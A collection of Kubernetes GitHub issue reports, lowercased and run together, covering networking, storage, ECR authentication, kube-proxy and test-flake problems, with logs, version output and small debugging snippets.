o.a.t.b.l.standardcomponentinitialization$$anon$1 - locked to scala interpreter with sparkimain until decoupled!\r 17/01/02 10:54:13  warn  o.a.t.b.l.standardcomponentinitialization$$anon$1 - unable to control initialization of repl class server!\r 17/01/02 10:54:14  warn  o.a.h.u.nativecodeloader - unable to load native-hadoop library for your platform... using builtin-java classes where applicable\r 17/01/02 10:54:14  warn  o.a.s.u.utils - service 'sparkdriver' could not bind on port 0. attempting port 1.\r 17/01/02 10:54:14  warn  o.a.s.u.utils - service 'sparkdriver' could not bind on port 0. attempting port 1.\r 17/01/02 10:54:14  warn  o.a.s.u.utils - service 'sparkdriver' could not bind on port 0. attempting port 1.\r 17/01/02 10:54:14  warn  o.a.s.u.utils - service 'sparkdriver' could not bind on port 0. attempting port 1.\r 17/01/02 10:54:14  warn  o.a.s.u.utils - service 'sparkdriver' could not bind on port 0. attempting port 1.\r 17/01/02 10:54:14  warn  o.a.s.u.utils - service 'sparkdriver' could not bind on port 0. attempting port 1.\r 17/01/02 10:54:14  warn  o.a.s.u.utils - service 'sparkdriver' could not bind on port 0. attempting port 1.\r 17/01/02 10:54:14  warn  o.a.s.u.utils - service 'sparkdriver' could not bind on port 0. attempting port 1.\r 17/01/02 10:54:14  warn  o.a.s.u.utils - service 'sparkdriver' could not bind on port 0. attempting port 1.\r 17/01/02 10:54:14  warn  o.a.s.u.utils - service 'sparkdriver' could not bind on port 0. attempting port 1.\r 17/01/02 10:54:14  warn  o.a.s.u.utils - service 'sparkdriver' could not bind on port 0. attempting port 1.\r 17/01/02 10:54:14  warn  o.a.s.u.utils - service 'sparkdriver' could not bind on port 0. attempting port 1.\r 17/01/02 10:54:14  warn  o.a.s.u.utils - service 'sparkdriver' could not bind on port 0. attempting port 1.\r 17/01/02 10:54:14  warn  o.a.s.u.utils - service 'sparkdriver' could not bind on port 0. attempting port 1.\r 17/01/02 10:54:14  warn  o.a.s.u.utils - service 'sparkdriver' could not bind on port 0. attempting port 1.\r 17/01/02 10:54:14  warn  o.a.s.u.utils - service 'sparkdriver' could not bind on port 0. attempting port 1.\r 17/01/02 10:54:14  error  o.a.s.sparkcontext - error initializing sparkcontext.\r java.net.bindexception: cannot assign requested address: service 'sparkdriver' failed after 16 retries! consider explicitly setting the appropriate port for the service 'sparkdriver'  for example spark.ui.port for sparkui  to an available port or increasing spark.port.maxretries.\r         at sun.nio.ch.net.bind0 native method \r         at sun.nio.ch.net.bind net.java:433 \r         at sun.nio.ch.net.bind net.java:425 \r         at sun.nio.ch.serversocketchannelimpl.bind serversocketchannelimpl.java:223 \r         at sun.nio.ch.serversocketadaptor.bind serversocketadaptor.java:74 \r         at io.netty.channel.socket.nio.nioserversocketchannel.dobind nioserversocketchannel.java:125 \r         at io.netty.channel.abstractchannel$abstractunsafe.bind abstractchannel.java:485 \r         at io.netty.channel.defaultchannelpipeline$headcontext.bind defaultchannelpipeline.java:1089 \r         at io.netty.channel.abstractchannelhandlercontext.invokebind abstractchannelhandlercontext.java:430 \r         at io.netty.channel.abstractchannelhandlercontext.bind abstractchannelhandlercontext.java:415 \r         at io.netty.channel.defaultchannelpipeline.bind defaultchannelpipeline.java:903 \r         at io.netty.channel.abstractchannel.bind abstractchannel.java:198 \r         at io.netty.bootstrap.abstractbootstrap$2.run abstractbootstrap.java:348 \r         at io.netty.util.concurrent.singlethreadeventexecutor.runalltasks singlethreadeventexecutor.java:357 \r         at io.netty.channel.nio.nioeventloop.run nioeventloop.java:357 \r         at io.netty.util.concurrent.singlethreadeventexecutor$2.run singlethreadeventexecutor.java:111 \r         at java.lang.thread.run thread.java:745 \r i find some solution to change spark_local_ip to localhost, but it won't work, i have to set spark_local_ip to the read ip of host, so it can connect to spark master remotely.\r \r i have set hostnetwork: true, and check the worker side, it seems --host-network-sources default is ' ', i wonder how to exactly match the docker --net host? or allow the port bind?

the goal of this issue is to design a cephfs driver using fuse client for kubernetes.</br>\r existing ceph kernel client has the following drawbacks:</br>\r •\tkernel client does not support client-enforced quotas.\r •\tkernel cephfs doesn't support quota or capacity, capacity requested by pvc is not enforced or validated.\r •\tkernel cephfs doesn't work with selinux, setting selinux label in pod's security context will not work.\r \r @kubernetes/sig-storage

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r  \r   what happened  :\r 1. install docker-ce\r \r    \r $ docker version\r client:\r  version:      17.09.0-ce\r  api version:  1.32\r  go version:   go1.8.3\r  git commit:   afdb6d4\r  built:        tue sep 26 22:42:18 2017\r  os/arch:      linux/amd64\r \r server:\r  version:      17.09.0-ce\r  api version:  1.32  minimum version 1.12 \r  go version:   go1.8.3\r  git commit:   afdb6d4\r  built:        tue sep 26 22:40:56 2017\r  os/arch:      linux/amd64\r  experimental: false\r    \r \r 2. bootstrap k8s cluster normally\r 3. when getting nodes,\r \r    \r $ kubectl get node -o wide\r name        status    roles     age       version   external-ip   os-image             kernel-version     container-runtime\r server-02   ready     master    1d        v1.8.1    <none>        ubuntu 16.04.2 lts   4.4.0-83-generic   docker://unknown\r    \r \r   what you expected to happen  :\r should show a version intead of  docker://unknown , which is confusing.\r \r   how to reproduce it  as minimally and precisely as possible   :\r as above\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.1\ , gitcommit:\ f38e43b221d08850172a9a4ea785a86a3ffa3b3a\ , gittreestate:\ clean\ , builddate:\ 2017-10-11t23:27:35z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.1\ , gitcommit:\ f38e43b221d08850172a9a4ea785a86a3ffa3b3a\ , gittreestate:\ clean\ , builddate:\ 2017-10-11t23:16:41z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r

is this a bug report or feature request?  :\r \r  @kubernetes/sig-node-bugs \r @kubernetes/sig-scalability-misc \r / umbrella issue: https://github.com/kubernetes/kubernetes/issues/56062\r \r   what happened  :\r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-scalability-stable1/245 failed with:\r    \r nov 29 12:24:47.973: error waiting for all pods to be running and ready: 1 / 223 pods in namespace \ kube-system\  are not in running and ready state in 10m0s\r pod                                              node                                  phase   grace conditions\r kube-proxy-e2e-scalability-1-6-minion-group-47jv e2e-scalability-1-6-minion-group-47jv pending        {type:initialized status:true lastprobetime:0001-01-01 00:00:00 +0000 utc lasttransitiontime:2017-11-29 12:07:17 +0000 utc reason: message:} {type:ready status:false lastprobetime:0001-01-01 00:00:00 +0000 utc lasttransitiontime:2017-11-29 12:07:15 +0000 utc reason:containersnotready message:containers with unready status:  kube-proxy } {type:podscheduled status:true lastprobetime:0001-01-01 00:00:00 +0000 utc lasttransitiontime:2017-11-29 12:07:15 +0000 utc reason: message:} \r    \r \r which in turn was caused by repeated:\r    \r e1129 12:18:00.751915    1313 remote_image.go:108  pullimage \ gcr.io/google_containers/kube-proxy:v1.8.5-beta.0.27_43be4eecea94fc\  from image service failed: rpc error: code = unknown desc = error: status 405 trying to pull repository google_containers/kube-proxy: \ v1 registry api is disabled. if you are not explicitly using the v1 registry api, it is possible your v2 image could not be found. verify that your image is available, or retry with  dockerd --disable-legacy-registry . see https://cloud.google.com/container-registry/docs/support/deprecation-notices\ \r    \r \r this is really weird, because no other node reported such error.\r \r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r received an error when trying to pull an image from a private ecr repository in aws govcloud. all the nodes have an iam role attached to them.\r \r pod log:\r    \r failed to pull image \             .dkr.ecr.us-gov-west-1.amazonaws.com/somename/somename:latest\ : rpc error: code = unknown desc = unauthorized: authentication required\r    \r \r kubelet node log:\r    \r aws_credentials.go:111  creating ecrprovider for us-gov-west-1\r provider.go:119  refreshing cache for provider:  credentials.ecrprovider\r aws_credentials.go:180  while requesting ecr authorization token missingendpoint: 'endpoint' configuration is required for this service\r    \r \r   what you expected to happen  :\r the image should pull successfully.\r \r   how to reproduce it  as minimally and precisely as possible   :\r - create a cluster on aws govcloud.\r - ensure then nodes have iam roles attached to them.\r - upload a docker image to the ecr in the same region.\r - grant permissions on the ecr repository so the role can access the image.\r - run a command like this to test a simple deployment:\r  kubectl run hello-world --image=            .dkr.ecr.us-gov-west-1.amazonaws.com/somename/somename:latest \r - view the log with:  kubectl describe pods \r \r   anything else we need to know?  :\r i determined that the aws library vendored in kubernetes 1.8.8 is out of date. when i tested the latest version of the aws library as well as the kubernetes 1.9.4 vendored aws library, it worked successfully. i used this code to easily test and then copied over the vendored aws code for the different versions.\r \r    go\r package main\r \r import  \r         \ encoding/base64\ \r         \ fmt\ \r         \ log\ \r         \ strings\ \r \r         \ github.com/aws/aws-sdk-go/aws\ \r         \ github.com/aws/aws-sdk-go/aws/credentials\ \r         \ github.com/aws/aws-sdk-go/aws/credentials/ec2rolecreds\ \r         \ github.com/aws/aws-sdk-go/aws/ec2metadata\ \r         \ github.com/aws/aws-sdk-go/aws/session\ \r         \ github.com/aws/aws-sdk-go/service/ecr\ \r  \r \r func main   {\r         creds := credentials.newchaincredentials \r                   credentials.provider{\r                         &credentials.envprovider{},\r                         &ec2rolecreds.ec2roleprovider{\r                                 client: ec2metadata.new session.new &aws.config{}  ,\r                         },\r                         &credentials.sharedcredentialsprovider{},\r                 } \r \r         _, err := creds.get  \r         if err != nil {\r                 fmt.println err \r                 return\r         }\r \r         ti := &ecr.getauthorizationtokeninput{}\r \r         // create a new session.\r         sess, err := session.newsession  \r         if err != nil {\r                 fmt.println err \r                 return\r         }\r \r         sess.config.region = aws.string \ us-gov-west-1\  \r \r         s := ecr.new sess \r \r         output, err := s.getauthorizationtoken ti \r         if err != nil {\r                 fmt.println err \r                 return\r         }\r \r         log.println output.authorizationdata \r \r         for _, data := range output.authorizationdata {\r                 if data.proxyendpoint != nil &&\r                         data.authorizationtoken != nil {\r                         decodedtoken, err := base64.stdencoding.decodestring aws.stringvalue data.authorizationtoken  \r                         if err != nil {\r                                 log.printf \ while decoding token for endpoint %v %v\ , data.proxyendpoint, err \r                                 return\r                         }\r                         parts := strings.splitn string decodedtoken , \ :\ , 2 \r                         user := parts 0 \r                         password := parts 1 \r                         log.println user, password \r                 }\r         }\r }\r \r    \r \r when using the k8s 1.8.8 aws vendored library, i get this error:\r  missingendpoint: 'endpoint' configuration is required for this service .\r \r when using the k8s 1.9.3 aws vendored library, it works with this output:\r    \r 2018/02/21 01:12:50  {\r   authorizationtoken: \ {data redacted}\ ,\r   expiresat: 2018-02-21 13:12:50 +0000 utc,\r   proxyendpoint: \ https://            dkr.ecr.us-gov-west-1.amazonaws.com\ \r } \r 2018/02/21 01:12:50 aws {data redacted}\r    \r \r we use kops to install kubernetes in govcloud so we are unable to use the 1.9.x versions of kubernetes so we would really like it to be fixed in the 1.8.x branch.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.8\ , gitcommit:\ 2f73858c9e6ede659d6828fe5a1862a48034a0fd\ , gittreestate:\ clean\ , builddate:\ 2018-02-09t21:30:57z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.6\ , gitcommit:\ 6260bb08c46c31eea6cb538b34a9ceb3e406689c\ , gittreestate:\ clean\ , builddate:\ 2017-12-21t06:23:29z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r - cloud provider or hardware configuration:\r aws govcloud\r - os  e.g. from /etc/os-release :\r name=\ amazon linux ami\ \r version=\ 2017.03\ \r id=\ amzn\ \r id_like=\ rhel fedora\ \r version_id=\ 2017.03\ \r pretty_name=\ amazon linux ami 2017.03\ \r ansi_color=\ 0;33\ \r cpe_name=\ cpe:/o:amazon:linux:2017.03:ga\ \r home_url=\ http://aws.amazon.com/amazon-linux-ami/\ \r - kernel  e.g.  uname -a  :\r linux ip-10-0-0-223 4.9.27-14.33.amzn1.x86_64  1 smp fri jun 16 20:45:00 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r - install tools:\r - others:\r \r 

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r cannot use the kernelspace mode of kube-proxy \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r start kube-proxy\r c:\\k\\kube-proxy.exe --v=4 --proxy-mode=kernelspace --hostname-override=$ hostname  --kubeconfig=c:\\k\\config\r \r   anything else we need to know?  :\r flannel is used for pods networking\r   environment  :\r - kubernetes version  use  kubectl version  :\r {major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.0\ , gitcommit:\ fc32d2f3698e36b93322a3465f63a14e9f0eaead\ , gittreestate:\ clean\ , builddate:\ 2018-03-26t16:55:54z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ windows/amd64\ }\r - cloud provider or hardware configuration: on premise\r - os  e.g. from /etc/os-release : windows servercore 1709\r - kernel  e.g.  uname -a  : 10.0.16299.125\r - install tools:  microsoft sdn  https://github.com/microsoft/sdn/tree/master/kubernetes/flannel/l2bridge \r - others:\r each service creation logs this : \r  e0402 14:16:04.344271    5968 proxier.go:997  remote endpoint creation failed: hns failed with error : the switch-port was not found. \r  i0402 14:16:04.345266    5968 proxier.go:1010  associated endpoints     hcsshim.hnsendpoint  <nil>\r   for service  kube-system/heapster:  \r \r

we want to disallow regular users from creating pdbs but unfortunately the bootstrap policy is hardcoded in the api server and we cannot really override it. is there a way to achieve this currently? if not, we probably want the ability to be able to configure it.\r \r @deads2k @sttts @smarterclayton @mfojtik @jim-minter @pweil-

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/\r -->\r \r   what happened  :\r have a go client that opens a udp connection and then loops forever sending packets to a kubernetes service with multiple replicas in the deployment, configured with type:clusterip/sessionaffinity:none \r \r packets are not load balanced across the pods, they all end up in the same pod until i stop the go client and restart it.\r \r if i run a script from command line using netcat, and loop it, then the udp packets are correctly load balanced.\r \r root caused this to having the same source port in the go program, but i don't want to open a udp connection every time i send a packet, seems very expensive and inefficient.\r \r also invesitgated on the host iptables, found no trace of established connections or indication of affinity.\r \r   what you expected to happen  :\r \r udp packets should be load balanced to all the pods, since there is no concept of connection in udp and there is no way for me to control this behavior other than creating multiple connections on the client.\r \r this could be optionally configurable with sessionaffinity, but given that i explicitly set sessionaffinity to none i expect the packets to be spread around all the pods in the service/deployment at this time.\r \r   how to reproduce it  as minimally and precisely as possible   :\r using version v1.14.0  reproed via minikube \r \r instructions to repro:\r  multiport.zip  https://github.com/kubernetes/kubernetes/files/3074741/multiport.zip \r \r - have docker and minikube installed, minikube running on ubuntu 18.04\r - open attached zip file\r - run  make minikube-deploy  to make docker container and deploy to minikube\r - run  kubectl get services  and note ip address of service multiport\r - run  minikube tunnel \r \r in another terminal run the go client:\r \r  go run client/multiport_client.go -server <multiport service ip_address> -port 3333 -protocol udp  \r \r let this go, it will send packets to the server every second\r \r check the logs of the pods named  multiport-   via 'kubectl logs multiport-xyz-abc  \r \r _  verify that udp messages always go to the same server  _\r \r stop the go client\r \r now run the bash test:\r \r  for i in {1..100}; do echo \ sending\ ; echo \ test\  | nc -w 1 -u <service ip_address> 3333; done \r \r check the logs of the pods named  multiport-  \r _  verify that udp messages now are spread across all the pods  _\r \r   anything else we need to know?  :\r \r see following issue in golang for more information - i initially filed the issue there:\r https://github.com/golang/go/issues/31427\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 13\ , gitversion:\ v1.13.4\ , gitcommit:\ c27b913fddd1a6c480c229191a087698aa92f0b1\ , gittreestate:\ clean\ , builddate:\ 2019-02-28t13:37:52z\ , goversion:\ go1.11.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 14\ , gitversion:\ v1.14.0\ , gitcommit:\ 641856db18352033a0d96dbc99153fa3b27298e5\ , gittreestate:\ clean\ , builddate:\ 2019-03-25t15:45:25z\ , goversion:\ go1.12.1\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration:\r ubuntu lts 18.04 vm hosted on azure\r - os  e.g:  cat /etc/os-release  :\r    \r name=\ ubuntu\ \r version=\ 18.04.2 lts  bionic beaver \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 18.04.2 lts\ \r version_id=\ 18.04\ \r home_url=\ https://www.ubuntu.com/\ \r support_url=\ https://help.ubuntu.com/\ \r bug_report_url=\ https://bugs.launchpad.net/ubuntu/\ \r privacy_policy_url=\ https://www.ubuntu.com/legal/terms-and-policies/privacy-policy\ \r version_codename=bionic\r ubuntu_codename=bionic\r    \r - kernel  e.g.  uname -a  :\r \r  linux mg-net-test 4.18.0-1014-azure  14~18.04.1-ubuntu smp mon mar 18 16:15:53 utc 2019 x86_64 x86_64 x86_64 gnu/linux \r \r - install tools:\r - others:\r

what would you like to be added  :\r \r the feature that would be interested to add is the capacity to prevent all pods in certain namespaces to be scheduled on some worker with a specific label.\r \r   why is this needed  :\r \r it's needed notably in the case of a kubernetes multi-tenant cluster. let's imagine a specific case, you have one customer per namespace. you want to force them to use specific workers with a simple offering. let's say now you have a rook cluster and you want dedicated nodes on which customer cannot schedule any pods to avoid noise.\r it would be quite useful in terms of security and features to be able to force all pods in a namespace not to be scheduled on some nodes.\r \r  

what happened  :\r \r all the backend services is shown healthy in the console but cannot access the application\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r here are the manifests i used,\r deployment.yaml\r apiversion: apps/v1\r kind: deployment\r metadata:\r   name: webapp\r spec:\r   selector:\r     matchlabels:\r       purpose: frontend\r   replicas: 1\r   template:\r     metadata:\r       labels:\r         purpose: frontend\r     spec:\r       containers:\r         - name: webapp\r           image: \r           imagepullpolicy: always\r           env:\r             - name: \ port\ \r               value: \ 3000\ \r \r service.yaml\r apiversion: v1\r kind: service\r metadata:\r   name: webapp\r spec:\r   type: nodeport\r   selector:\r     purpose: frontend\r   ports:\r   - protocol: tcp\r     port: 80\r     targetport: 3000\r \r ingress.yaml\r apiversion: extensions/v1beta1\r kind: ingress\r metadata:\r   name: my-ingress\r spec:\r   rules:\r   - http:\r       paths:\r       - path: / \r         backend:\r           servicename: webapp\r           serviceport: 80\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 11+\ , gitversion:\ v1.11.9-dispatcher\ , gitcommit:\ e3f5193e8f1091a162af7e17a781e6a3129bcfd0\ , gittreestate:\ clean\ , \r builddate:\ 2019-03-28t18:13:46z\ , goversion:\ go1.10.8\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 11+\ , gitversion:\ v1.11.8-gke.6\ , gitcommit:\ 394ee507d00f15a63cef577a14026096c310698e\ , gittreestate:\ clean\ , build\r date:\ 2019-03-30t19:31:43z\ , goversion:\ go1.10.8b4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r - cloud provider or hardware configuration: gcp\r - os  e.g:  cat /etc/os-release  : debian gnu/linux 9  stretch \r

we need to validate that we can resolve the \ metadata\  host on gce/gke  and possibly aws?  from inside a container.

services should serve identically named services in different namespaces on different load-balancers   started failing sometime overnight when run from v1.1 against a v1.2 cluster:      05:01:03 • failure  1237.432 seconds  05:01:03 services 05:01:03 /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/service.go:861 05:01:03   should serve identically named services in different namespaces on different load-balancers  it  05:01:03   /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/service.go:860 05:01:03  05:01:03   expected error: 05:01:03       < errors.errorstring | 0xc208c34040>: { 05:01:03           s: \ service test-svc in namespace e2e-tests-services-jtt6t doesn't have a loadbalancer ingress point after 1200.00 seconds\ , 05:01:03       } 05:01:03       service test-svc in namespace e2e-tests-services-jtt6t doesn't have a loadbalancer ingress point after 1200.00 seconds 05:01:03   not to have occurred 05:01:03  05:01:03   /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/service.go:829      see http://kubekins.dls.corp.google.com/view/upgrade%20test%20-%20gke/job/kubernetes-upgrade-gke-1.1-master-step4-e2e-old/ and http://kubekins.dls.corp.google.com/view/upgrade%20test%20-%20gke/job/kubernetes-upgrade-gke-1.1-master-step6-e2e-old/  perhaps related to  21693?

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r ---\r \r   is this a bug report or feature request?    choose one : both\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r 1.5 custom built master\r \r   environment  :\r -   cloud provider or hardware configuration  : azure\r -   os    e.g. from /etc/os-release : centos 7.2\r -   kernel    e.g.  uname -a  : linux ma-kub8ms0 3.10.0-327.36.3.el7.x86_64  1 smp mon oct 24 16:09:20 utc 2016 x86_64 x86_64 x86_64 gnu/linux\r -   install tools  : ansible + kubeadm\r -   others  :\r \r \r   what happened  :\r when passing --cloud-provider to kubeadm, the flag is only passed to the controller manager. it is however not passed to the kubelet, which makes azure disk mounting  and probably other cloud features?  not work. also, the --cloud-config flag is not passed into the kubelet. \r \r it looks like the kubelet is able to figure out the appropriate cloud provider  azure  by itself. not sure how it does this, maybe it gets a hint from the controller manager. nevertheless, if users provide a cloud provider to kubeadm, this one should be explicitly passed to all services which offer such an option. also, the  correct  auto guessing does not help when there is no cloud config given to the kubelet. \r \r i currently have to provide a custom systemd dropin which overrides the kubelet_extra_args env var. \r \r an idea how to fix this: add an optional environment file  /etc/kubernetes/kubeadm-kubelet-args.env  to the 10-kubeadm.conf dropin. the kubeadm could then write appropriate cloud-config  and other?  flags to this file.

also see issues:  24343,  2742,  35314.\r \r following up on conversations regarding separating kube \ core\  in to several repos, this is a proposal to move the e2e test package into its own repo. to accomplish this requires solving issues related to ci and auto testing when prs are submitted, and is dependent on a tool chain that handles remote imports.\r \r at the moment i am just giving this issue a place to live for a while. i do not have all the questions and may have none of the answers.  please add to this issue so we can brainstorm a starting point.\r \r @bgrant0607 @saad-ali @copejon\r \r     questions specific to e2e  see issue  24343 for the list of generic multi-repo questions :\r \r 1. how does a pr  outside of the e2e repo  automatically run the e2e tests?2. ~~do the k8s bots need to work across repos?\r \r 2. ~~do the k8s bots need to work across repos?~~\r \r 3. ~~i believe you cannot  import  using a url so how do the e2e tests import their dependencies?~~\r     see: https://golang.org/cmd/go/ hdr-remote_import_paths\r \r 4.

/assign @random-liu @matchstick \r \r see https://github.com/kubernetes/test-infra/blob/master/experiment/bigquery/flakes-latest.json\r \r testgrid shows this flakes more than once per day in two jobs:\r   gce-proto: https://k8s-testgrid.appspot.com/google-gce gce-proto&width=5&sort-by-failures=\r   non-cri-gce: https://k8s-testgrid.appspot.com/google-non-cri gce&width=20&sort-by-failures=\r \r you can filter go.k8s.io/triage down to just this test, which shows it fails about once per hour:\r https://storage.googleapis.com/k8s-gubernator/triage/index.html?test=services%20should%20preserve%20source%20pod%20ip%20for%20traffic%20thru%20service%20cluster%20ip

examples:\r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/49107/pull-kubernetes-federation-e2e-gce/16140/\r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/49266/pull-kubernetes-federation-e2e-gce/16109/\r \r    \r /go/src/k8s.io/kubernetes/_output/gcs-stage/v1.8.0-alpha.2.558+6d2ef8a8be76e7/kubernetes-test.tar.gz.sha1 /go/src/k8s.io/kubernetes/_output/gcs-stage/v1.8.0-alpha.2.558+6d2ef8a8be76e7/kubernetes.tar.gz /go/src/k8s.io/kubernetes/_output/gcs-stage/v1.8.0-alpha.2.558+6d2ef8a8be76e7/kubernetes.tar.gz.md5 /go/src/k8s.io/kubernetes/_output/gcs-stage/v1.8.0-alpha.2.558+6d2ef8a8be76e7/kubernetes.tar.gz.sha1 gs://kubernetes-release-pull/ci/pull-kubernetes-federation-e2e-gce/v1.8.0-alpha.2.558+6d2ef8a8be76e7/\r i0720 18:45:12.859  your \ oauth 2.0 service account\  credentials are invalid. please run\r i0720 18:45:12.860    $ gcloud auth login\r i0720 18:45:12.860  duplicate type  0:0:4 \r i0720 18:45:24.339  commandexception: 1 file/object could not be transferred.\r i0720 18:45:24.453  failed\r i0720 18:45:24.456  \r i0720 18:45:24.460  \r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   feature request  :\r \r   what happened  :\r to provide kernel space proxier support.\r a pr is on its way.\r with the new platform features being opened up in windows, a new kernelspace proxier of programming the vfp of the virtual switch has to be written to provide the equivalent iptables support.\r \r more documentation to follow\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

\r   is this a bug report or feature request?  :\r   \r   what happened  :\r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/54279/pull-kubernetes-unit/63146/\r \r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/53866/pull-kubernetes-unit/63155/\r \r failure ：go test -v k8s.io/kubernetes/cmd/kube-apiserver/app/testing -run testcrd\r in my local host, it runs well. no failure will be thrown.\r \r test results log not list all :\r    \r kubernetes/vendor/github.com/golang/glog/glog.go:879 +0xc3\r /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/github.com/golang/glog/glog.go:410 +0x23b\r /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/kube-aggregator/pkg/controllers/openapi/controller.go:89 +0x1da\r /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/kube-aggregator/pkg/apiserver/apiserver.go:242 +0x85\r /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/google.golang.org/grpc/clientconn.go:891 +0x21b\r /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/google.golang.org/grpc/clientconn.go:620 +0x251\r /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/google.golang.org/grpc/clientconn.go:611 +0xb23\r /usr/local/go/src/runtime/netpoll.go:173 +0x5e\r /usr/local/go/src/internal/poll/fd_poll_runtime.go:85 +0xfb\r /usr/local/go/src/internal/poll/fd_poll_runtime.go:90 +0x4b\r /usr/local/go/src/internal/poll/fd_unix.go:125 +0x23d\r /usr/local/go/src/net/fd_unix.go:202 +0x66\r /usr/local/go/src/net/net.go:176 +0x88\r <autogenerated>:1 +0x6a\r /usr/local/go/src/io/io.go:392 +0x137\r /usr/local/go/src/io/io.go:362 +0x7f\r /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/github.com/coreos/etcd/integration/bridge.go:160 +0xdf\r /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/github.com/coreos/etcd/integration/bridge.go:159 +0x110\r /usr/local/go/src/runtime/sema.go:56 +0x39\r /usr/local/go/src/sync/waitgroup.go:131 +0xb4\r /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/github.com/coreos/etcd/integration/bridge.go:164 +0x11e\r /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/github.com/coreos/etcd/integration/bridge.go:137 +0x139\r /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:354 +0x1b9\r /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:337 +0xa4\r /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/storage/etcd3/watcher.go:228 +0x184\r 